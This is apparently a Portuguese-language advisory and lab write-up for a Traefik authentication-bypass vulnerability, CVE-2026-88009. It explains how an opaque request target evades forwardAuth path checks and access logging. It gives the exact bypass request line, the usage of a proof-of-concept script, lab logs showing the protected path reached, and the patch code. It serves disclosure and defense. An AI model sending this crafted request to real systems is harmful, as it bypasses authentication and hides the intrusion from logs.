CVE-2026-88009 — O Traefik encaminha um alvo de requisição opaco sem raiz que o roteamento/forwardAuth enxerga como '/'. Bypass de autenticação + evasão de log de acesso, verificado nas versões v3.7.10 / v3.7.13.
/, mas o repassa literalmenteAfetado: Traefik < 2.11.57, e 3.0.0 – 3.7.13
Corrigido: 2.11.57 / 3.7.13
Correção: commit 58d1e9ca2045 "Deny request with an opaque request target" — denyOpaque em pkg/server/server_entrypoint_tcp.go
Aviso: GHSA-f52w-8j3h-j724 · CVSS 8.8 · CWE-1286 / CWE-444
O net/http do Go não impõe a forma de origem (origin-form) ao request target: ele entrega o
target bruto para url.ParseRequestURI. Um target como
GET http:http://app.local/private/secret HTTP/1.1
é analisado como {Scheme:"http", Opaque:"http://app.local/private/secret", Path:""} — um
alvo absolute-form legal segundo a RFC 9112 §3.2.2. O Traefik então avalia tudo
contra um caminho que normaliza para /:
sanitizePath chama URL.JoinPath(), que copia Opaque e define Path="/";Path, então PathPrefix(/) (e qualquer router Host()) corresponde;forwardAuth constrói X-Forwarded-Uri a partir de URL.RequestURI(), que retorna
Opaque, então o servidor de autenticação vê http://app.local/private/secret em vez de
/private/secret e uma política de prefixo de caminho falha aberta;encodedCharacters inspeciona EscapedPath() → /;GET / HTTP/1.1.A requisição de saída é escrita novamente com URL.RequestURI(), que retorna Opaque
literalmente, então o backend recebe o alvo portador de autoridade do atacante e o resolve
para /private/secret.
A correção envolve o handler do entrypoint por último para que ele seja executado primeiro:
func denyOpaque(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
if req.URL.Opaque != "" {
log.WithoutContext().Debugf("Rejecting request because it has an opaque URL: %s", req.URL.Opaque)
rw.WriteHeader(http.StatusBadRequest)
return
}
h.ServeHTTP(rw, req)
})
}
| função | imagem | contêiner | porta do host |
|---|---|---|---|
| proxy vulnerável | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21020 → :8001 (entrypoint opaque) |
| proxy corrigido | traefik:v3.7.13 | poc-traefik-3713 | 127.0.0.1:21023 → :8001 |
PathPrefix(/) com forwardAuth → http://authz:8080/check.poc-traefik-authz implementa uma política de prefixo de caminho: X-Forwarded-Uri começando
com /private → 403 DENY, todo o resto → 200 ALLOW; ele registra a URI exata
sobre a qual foi consultado.poc-traefik-app resolve um alvo rootless/absoluto para um caminho (o comportamento que o
advisory exige do backend: "against a backend that resolves a rootless target
as a path") e serve SECRET-AREA … para /private/*.lab/README.md.python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020 # vulnerable
python3 cve_2026_88009.py check --url http://127.0.0.1:21023 # fixed
O PoC fala raw sockets de propósito: curl normaliza o alvo e
http.client recusa um caminho que não esteja na forma de origem, então ambos escondem o bug. --path,
--vhost, --output estão disponíveis.
traefik:v3.7.10 vulnerável — bypass do forwardAuth$ python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020
[*] target : http://127.0.0.1:21020
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : exploit
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 200 OK
SECRET-AREA internal data served for /private/secret
request_line: GET http://app.local/private/secret HTTP/1.1
resolved_path: /private/secret
=> PASS (opaque target bypassed forwardAuth and reached /private/secret: HTTP 200, backend served the protected content)
O servidor de autenticação foi consultado, mas com o URI no formato do atacante — este é o fail-open, a partir do log do contêiner de autorização:
[authz] X-Forwarded-Uri='/private/secret' -> 403
[authz] X-Forwarded-Uri='http://app.local/private/secret' -> 200
[authz] X-Forwarded-Uri='/private/secret' -> 403
E o log de acesso do proxy oculta o ataque — a requisição é registrada como /:
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET /private/secret HTTP/1.1" 403 24 "-" "-" 2 "opaque-lab@file" "-" 1ms
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET / HTTP/1.1" 200 143 "-" "-" 3 "opaque-lab@file" "http://app:8080" 2ms
$ curl -sS -w '\n[%{http_code}]\n' http://127.0.0.1:21020/private/secret
DENY uri=/private/secret
[403]
traefik:v3.7.13 fixo — destino opaco rejeitado antes do roteamento$ python3 cve_2026_88009.py check --url http://127.0.0.1:21023
[*] target : http://127.0.0.1:21023
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : check
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 400 Bad Request
=> PASS (fixed: opaque request target rejected with HTTP 400 before routing)
forwardAuth fail-open) e evasão de log de acesso. A mesma forma de alvo também permite roteamento entre vhosts (o backend recebe http://app.local/…, ou seja, uma autoridade que nunca viu do roteador), porque o roteamento correspondia a Path="/" enquanto o alvo encaminhado carrega o host embutido.encodedCharacters não foi reproduzido separadamente (o laboratório não habilita allowEncodedSlash=false); ele decorre do mesmo raciocínio EscapedPath()=="/" documentado no advisory.